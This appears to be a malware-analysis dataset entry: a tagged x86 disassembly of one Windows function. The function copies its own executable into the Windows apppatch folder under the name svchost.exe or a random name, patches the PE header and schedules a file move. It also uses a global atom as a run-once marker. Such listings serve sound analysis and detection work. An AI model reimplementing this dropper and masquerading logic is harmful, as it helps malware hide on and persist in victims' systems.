Function at 0x4028b0
Capabilities:
Access pe header
Check if file exists
Copy file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x33c
push ebx
xor eax, eax
push esi
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
push 0x1c
lea eax, [esp + 0x18]
push eax
xor ebx, ebx
push 0x401f70
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [esp + 0x18]
push 0x104
lea ecx, [esp + 0x13c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
jmp 0x402910
mov cl, byte [eax + 0x459930]
mov byte [esp + eax + 0x30], cl
inc eax
cmp cl, bl
jne 0x402910
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402a39
push 0x104
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea eax, [esp + 0x30]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402947
mov edx, dword [str._apppatch_]
mov ecx, dword [0x404ee0]
mov dword [eax], edx
mov dx, word [0x404ee4]
mov dword [eax + 4], ecx
mov cl, byte [0x404ee6]
mov word [eax + 8], dx
push 0x4045b8
mov byte [eax + 0xa], cl
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x4029a7
push 0x4045c8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x4029a7
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 0x10], ebx
je 0x4029d6
lea eax, [esp + 0x30]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x4029b2
mov ecx, dword [str.svchost.exe]
mov edx, dword [0x404eec]
mov dword [eax], ecx
mov ecx, dword [0x404ef0]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
jmp 0x402a39
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00401600
and eax, 1
add eax, 6
push eax
call fcn.00401920
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4029f0
lea edi, [esp + 0x30]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x402a00
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x30]
rep movsb byte es:[edi], byte [esi]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402a20
mov edx, dword [0x404ef4]
mov cl, byte [0x404ef8]
mov dword [eax], edx
mov byte [eax + 4], cl
lea edx, [esp + 0x30]
push edx
push 0x404efc
lea eax, [esp + 0x248]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 1
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402b66
lea esi, [esp + 0x30]
call fcn.00401130
mov eax, esi
push eax
call fcn.00401de0
lea ecx, [esp + 0x10]
push ecx
mov eax, esi
call fcn.004013c0
mov esi, eax
cmp esi, ebx
je 0x402add
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
cmp eax, ebx
je 0x402abd
mov edx, 0xdfff
and word [eax + 0x16], dx
mov ebx, dword [esp + 0x10]
push esi
lea eax, [esp + 0x34]
call fcn.004012e0
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x402add
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [esp + 0x30]
push eax
call fcn.00401ea0
push 4
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x248]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x4045b8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x402b2f
push 0x4045c8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x402b2f
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 0x10], ebx
je 0x402b3f
lea ecx, [esp + 0x30]
push ecx
call fcn.004019b0
push str.Tue_Aug__2_12:53:17_20111
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
je 0x402b5b
call fcn.00401520
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.Tue_Aug__2_12:53:17_20111
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret